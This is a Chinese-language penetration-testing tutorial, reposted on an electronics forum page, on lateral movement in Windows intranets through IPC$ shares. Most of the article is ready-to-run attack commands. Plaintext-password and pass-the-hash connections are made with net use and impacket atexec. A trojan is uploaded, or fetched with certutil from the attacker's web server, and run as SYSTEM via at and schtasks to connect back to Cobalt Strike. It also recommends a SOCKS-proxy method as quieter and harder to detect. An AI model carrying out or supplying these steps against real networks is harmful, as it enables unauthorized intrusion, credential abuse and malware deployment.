0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

什么是IPC?IPC的利用条件有哪些?

Tide安全团队 来源:Tide安全团队 2023-02-09 09:17 次阅读

什么是IPC?

IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

IPC的利用条件

1.获得用户名和密码

2.开放了139、445端口

IPC可以实现远程登录及对默认共享资源的访问,而139端口的开启标识NetBIOS协议的应用。通过139、445端口可以实现对共享文件/打印机的访问。

3.管理员开启了默认共享

默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$,d$,e$)等,和系统目录winnt或windows(admin$)。通过IPC可以实现对这些默认共享目录的访问。

IPC在内网中的利用手法

IPC基础命令

1.查看IPC连接与删除IPC连接


netuse#查看IPC连接 netuse\serveripc$/del#删除IPC连接

d65a1d4e-a812-11ed-bfe3-dac502259ad0.png

2.建立IPC链接到目标主机


netuse\serveripipc$"password"/user:username#工作组

d693952e-a812-11ed-bfe3-dac502259ad0.png

netuse\serveripipc$"password"/user:domainusername#域内主机

d6a270e4-a812-11ed-bfe3-dac502259ad0.png

3.查看文件列表


dir\serveripc$

d6b5f9b6-a812-11ed-bfe3-dac502259ad0.png

4.下载与复制文件

在下载文件这里,我们是可以看到192.168.3.32的C盘下是有一个IP.txt文件的,这里我们使用下载文件命令将其下载到我们的桌面。


copy\serveripc$1.ext1.exe#下载文件

d6cb174c-a812-11ed-bfe3-dac502259ad0.png

上传文件同样也是使用copy命令进行上传

copy1.bat\serveripc$#上传文件

d7029eba-a812-11ed-bfe3-dac502259ad0.png

5.查看文件内容

若是想要查看⽬标 C 盘下的 ip.txt ⽂件就可以使⽤ type 命令


type\192.168.3.32c$ip.txt

d71c7a4c-a812-11ed-bfe3-dac502259ad0.png

计划任务执行命令

在实战中,我们建立了IPC连接后,可以上传木马文件然后使用计划任务将其上线,目前windows有两个计划任务命令,系统小于windows 2012的使用at命令,系统大于等于Windows server 2012的操作系统已经弃用了at命令使用schtasks命令。

如下图,假设我们当前已经拿到了Web Server的主机权限,并成功与其内网的两台主机建立了IPC连接,这时我们想将这两台主机进行上线就需要考虑到刚刚提到的由于windows版本,该使用at还是schtasks计划让其运行木马这个问题。

d72b7fba-a812-11ed-bfe3-dac502259ad0.png

AT

首先我们先将一个木马上传到我们的Web server中,由于内网主机不出网,所以这里要生成正向连接的木马或通过Web server中转上线的木马,这里使用的为中转上线生成的木马

d7449aea-a812-11ed-bfe3-dac502259ad0.pngd7587f10-a812-11ed-bfe3-dac502259ad0.png

在建立IPC连接后,将木马上传到目标机器中,然后再使用AT创建计划任务将其执行上线


netuse\192.168.3.21ipc$"Admin12345"/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$

d7692c66-a812-11ed-bfe3-dac502259ad0.pngd77ad376-a812-11ed-bfe3-dac502259ad0.png

这里我们可以看到4444.exe已经成功被我们上传到了目标机器中,这里我们先查看一下目标系统时间,然后在使用at 设置计划任务,执行我们的木马文件

nettime\192.168.3.21#查看目标系统时间 at192.168.3.2116:40C:4444.exe#使用at计划任务执行C盘下的4444.exe

d79f7fa0-a812-11ed-bfe3-dac502259ad0.png

这里可以通过at命令去查看当前计划任务情况,和删除计划任务,具体命令如下

at\192.168.3.211#查看atid=1的计划任务 at\192.168.3.211/delete#删除atid=1的计划任务

d7aeaff2-a812-11ed-bfe3-dac502259ad0.pngd7c4c738-a812-11ed-bfe3-dac502259ad0.png

到了19:10分后,我们可以看到通过at计划任务木马成功被执行,已经上线到了我们的CS中

d7e0aeda-a812-11ed-bfe3-dac502259ad0.png

Schtasks

在windows server 2012及以后的操作系统已经弃用了at命令,转而使用schtasks命令,schtasks命令比at命令更加的灵活,但是在使用schtasks命令时,就会在系统中留下日志文件:C:Windows|Tasksxx.txt,这里不详细讲解schtasks的具体使用命令,只讲解在横向移动中,我们常用的操作命令。

和AT命令一样,我们先和目标主机建立IPC连接,将木马上传到目标机器中,然后再使用schtasks命令执行木马程序


netuse\192.168.3.32"admin!@#45"/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$

d7eea418-a812-11ed-bfe3-dac502259ad0.pngd7fcc5a2-a812-11ed-bfe3-dac502259ad0.png

木马上传成功后,接下来就使用schtasks命令,schtasks命令与at命令不同,schtasks命令为先创建一个任务,然后再按需运行该任务,也可直接指定时间运行,但相对来说较于麻烦,所以这里使用按需运行任务,在创建了任务后直接让其运行即可

schtasks/create/s192.168.3.32/ru"SYSTEM"/tnbeacon/scDAILY/trc:4444.exe/F#创建beacon任务对应执行文件,每天运行一次 schtasks/run/s192.168.3.32/tnbeacon/i#运行beacon服务

d80ce4a0-a812-11ed-bfe3-dac502259ad0.png

这里可以通过schtasks命令去查看当前计划任务情况,和删除计划任务,具体命令如下

schtasks/query|findstrbeacon#查看beacon计划任务 schtasks/delete/s192.168.3.32/tnbeacon/f#删除beacon计划任务

d83a69f2-a812-11ed-bfe3-dac502259ad0.pngd84c35a6-a812-11ed-bfe3-dac502259ad0.png

这里,使用schtasks也成功将SQLserver上线。

d859d850-a812-11ed-bfe3-dac502259ad0.png

Impacket-atexec

在上文中,我们讲述了在命令行下通过使用计划任务来进行横向移动的效果,但该效果相对来说不太方便,例如只适用于明文密码进行连接,无法支持hash、在执行了命令后,无法获得回显等。这里我们可以使用Impacket-atexec工具,impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。

对于at&schtasks,我们可以使用impacket中的atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。impacket有两个版本,一个为exe可执行程序,另一个为python文件,该工具适用于Webshell下,Socks代理下,并且支持以hash的方式进行连接。

atexec EXE版

EXE版本具体使用方式如下:首先将atexec.exe上传到目标机器中

d8722ab8-a812-11ed-bfe3-dac502259ad0.png

然后运行该文件


atexec.exe./administrator:Admin12345@192.168.3.21"whoami"#本地用户明文连接执行命令 atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"#域内用户明文连接执行命令

d8811bf4-a812-11ed-bfe3-dac502259ad0.pngd88f18e4-a812-11ed-bfe3-dac502259ad0.png

可以看到,在使用atexec进行执行命令后,结果会直接返回回来,那么我们也可以使用hash进行连接

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#使用hash进行本地用户连接 atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#使用hash进行域内用户连接

d8a16aa8-a812-11ed-bfe3-dac502259ad0.pngd8ba20ca-a812-11ed-bfe3-dac502259ad0.png

至此,为atexec的链接和命令执行命令,那我们回想刚刚在使用at和schtasks上线时的步骤:建立IPC连接、上传木马、设置任务执行....步骤较为繁琐,那我们在使用atexec时,也可以将其进行上线,并且相对来说较为简洁方案。首先,在这里我们需要转变一下思路,不能是将木马上传到目标机器中,而是让目标机器来去下载我们的木马程序,这里我们将木马放到Webserver的WEB目录中,然后构造下载命令,让目标机器将其下载到其机器中,然后在将其执行即可。web server的web目录为C:inetpubwwwroot,这里我们直接上传木马。

d8c9c34a-a812-11ed-bfe3-dac502259ad0.png

然后构造下载命令看其目标机器能否下载成功

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"certutil.exe-urlcache-split-fhttp://192.168.3.31:80/4444.exe4444.exe" atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"dir|findstr4444.exe"

d8daf098-a812-11ed-bfe3-dac502259ad0.pngd8f23a32-a812-11ed-bfe3-dac502259ad0.png

可以看到4444.exe已经成功被其下载成功,那么这里我们直接运行4444.exe即可

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"4444.exe"

d903554c-a812-11ed-bfe3-dac502259ad0.png

这里我们可以也可以看到DC成功上线。

d92677d4-a812-11ed-bfe3-dac502259ad0.png

atexec Python版

以上是atexec.exe的利用,但是因为需要在目标主机上面上传exe在实战中不实用,可能照成数据包丢失,也可能被查杀。所以这里在实战中建议使用python版本,但是也有可能目标主机没有相对的语言解析 ,所以最好的办法就是使用socket代理调用atexec.py对其内网进行利用。

主要操作如下:首先在CS上设置一个socket代理,然后使用proxifier 添加代理、规则。

d9398e82-a812-11ed-bfe3-dac502259ad0.pngd9525d86-a812-11ed-bfe3-dac502259ad0.png

设置好代理之后,设置下代理规则,将所有目标主机为192.168.3.0的数据包都通过我们的socket代理进行通信,这样我们就可以与其内网的主机进行通信。

d98170a8-a812-11ed-bfe3-dac502259ad0.png

这时代理设置好了之后,我们就可以直接在本机中使用atexec.py对其内网进行横向移动了,具体命令如下:


pythonatexec.py.administrator:Admin12345@192.168.3.21"whoami"#本地明文建立IPC连接并执行命令 pythonatexec.pygodadministrator:Admin12345@192.168.3.21"whoami"#域内主机建立IPC连接并执行命令

d9a49aba-a812-11ed-bfe3-dac502259ad0.pngd9b4cd5e-a812-11ed-bfe3-dac502259ad0.png

可以看到,通过socket代理,我们没有上传atexec.exe文件,就可直接在本地中对其内网进行利用,可较大程度的避免在实战中上传较大exe程序,被查杀或上传失败的效果

pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#本地用户使用hash进行IPC连接 pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#本地用户使用hash进行IPC连接

d9c97e84-a812-11ed-bfe3-dac502259ad0.pngd9dbe75e-a812-11ed-bfe3-dac502259ad0.png

那么在这里,我们上线CS的步骤也和上文中使用atexec.exe上线步骤一致,这里不再演示。

在内网渗透中,IPC是我们经常用到的手段之一,若⽬标管理员对服务器禁⽤远程登录我们就可以使⽤ IPC 来完成⼀些操作,在IPC横向移动时,较为推荐使用atexec.py+socket代理的形式对其内网进行横向移动,相对来说动静较小,不易被发现。




审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Web服务器
    +关注

    关注

    0

    文章

    119

    浏览量

    24154
  • NETBIOS
    +关注

    关注

    0

    文章

    6

    浏览量

    9338
  • IPC
    IPC
    +关注

    关注

    3

    文章

    276

    浏览量

    51083
收藏 人收藏

    评论

    相关推荐

    IPC-A-610D标准 IPC-A-610标准 IPC标准

    IPC正版标准!2009年12月您还想参加哪些课程?无铅手工焊接技能培训 09年12月2-3日开班(上海/苏州)IPC-A-600G(印制板的验收条件)09年12月7-9日开班
    发表于 11-23 20:38

    skill语言及IPC初探.zip

    IPC初探
    发表于 12-30 09:20 0次下载

    SYSBIOS IPC 1.25 用户指南

    IPC)api的概述。此文档的这个版本旨在与IPC版本1.25一起使用使用BIOS的目标。
    发表于 04-13 16:17 3次下载
    SYSBIOS <b>IPC</b> 1.25 用户指南

    IPC标准涉及内容介绍

    IPC标准在全球范围内被业界广泛采纳,现有的超过300份的多语言IPC标准和指南,几乎覆盖电子制造的各个环节。
    发表于 08-03 16:48 27次下载

    ipc标准目录

    ipc标准目录
    发表于 09-04 12:38 6556次阅读

    IPC铜箔拉力试验方法

    IPC铜箔拉力试验方法   薄铜箔与载体的分离   1.0适用范围  该方法适用于室温
    发表于 09-30 09:41 3037次阅读

    IPC 邀请业界参与2020年IPC APEX展会投稿

    IPC , APEX , 投稿 IPC—国际电子工业联接协会reg;邀请电子行业的工程师、研发人员、学者、技术专家和行业领袖参加2020年IPC APEX展会的技术会议和专业开发课程投稿
    发表于 02-22 11:03 201次阅读

    PCB的IPC标准指南

    IPC 的标准可以提供帮助。 什么是 IPCIPC 是电子互连行业的行业协会
    的头像 发表于 10-20 19:36 7689次阅读

    IPC-6012或IPC-A-600:应使用哪个标准?

    IPC-6012 和 IPC-A-600 。 自 1957 年以来,连接电子行业的协会(俗称 IPC )是为印刷电路
    的头像 发表于 10-26 19:41 2w次阅读

    你知道IPC二级和IPC三级什么区别吗?两者对PCB产品的影响又是什么呢?

    IPC二级和IPC三级什么区别,两者对PCB产品的影响包含哪些。本篇文章小编会告诉你哪些不同,以及各自包含哪些验收标准。
    的头像 发表于 10-19 15:36 6277次阅读
    你知道<b>IPC</b>二级和<b>IPC</b>三级<b>有</b>什么区别吗?两者对PCB产品的影响又是什么呢?

    PCB板的IPC二级和IPC三级什么区别

    IPC二级产品,即专用服务类电子产品,包括通讯设备、复杂的工商业设备和高性能、长寿命测量仪器等。IPC二级的标准明确了,这类产品在一般使用环境下,都不应该发生故障。
    发表于 10-20 10:28 1819次阅读

    涂鸦推出智能IPC开发框架,超强兼容性打造趣味IPC周边生态

    IPC还有哪些新玩法?随着摄像头的应用场景增加,IPC作为一种能力,正在融入到越来越多的智能设备中,形成了一批富有创意的智能IPC融合类产品。比如,扫地机结合智能IPC后,能实现可视化精准识别障碍物
    的头像 发表于 03-03 16:30 432次阅读
    涂鸦推出智能<b>IPC</b>开发框架,超强兼容性打造趣味<b>IPC</b>周边生态

    什么是IPC IPC标准化品质管理分析

    IPC-A-610 标准是全球应用最广泛的标准之一,被国际电工委员会(IEC)推荐为电子组件的全球首选验收标准;其中 IPC 中国41 个技术组已完成了31 项标准的开发。
    发表于 07-06 09:25 880次阅读
    什么是<b>IPC</b> <b>IPC</b>标准化品质管理分析

    研华工控机ipc510和ipc610的区别是什么?

    ipc510和ipc610是研华公司生产的两种工业控制计算机,很多朋友可能在选择工控机的时候从外观上肉眼看这两款研华工控机区别不是很明显,不是很清楚ipc510和ipc610什么区别。下面就随苏州研讯电子科技有限公司一起来看看吧。
    的头像 发表于 08-18 10:10 227次阅读

    工控机IPC是什么?IPC工控机的结构与技术特性

    IPC工控机是一种加固增强型的个人计算机,由于IPC工控机的性能稳定,软件丰富,价格比较低,在工控机行业中脱颖而出,应用日渐广泛,目前IPC工控机已经被运用到通讯、工业控制现场、路桥收费、医疗、环保
    的头像 发表于 09-23 08:08 115次阅读
    工控机<b>IPC</b>是什么?<b>IPC</b>工控机的结构与技术特性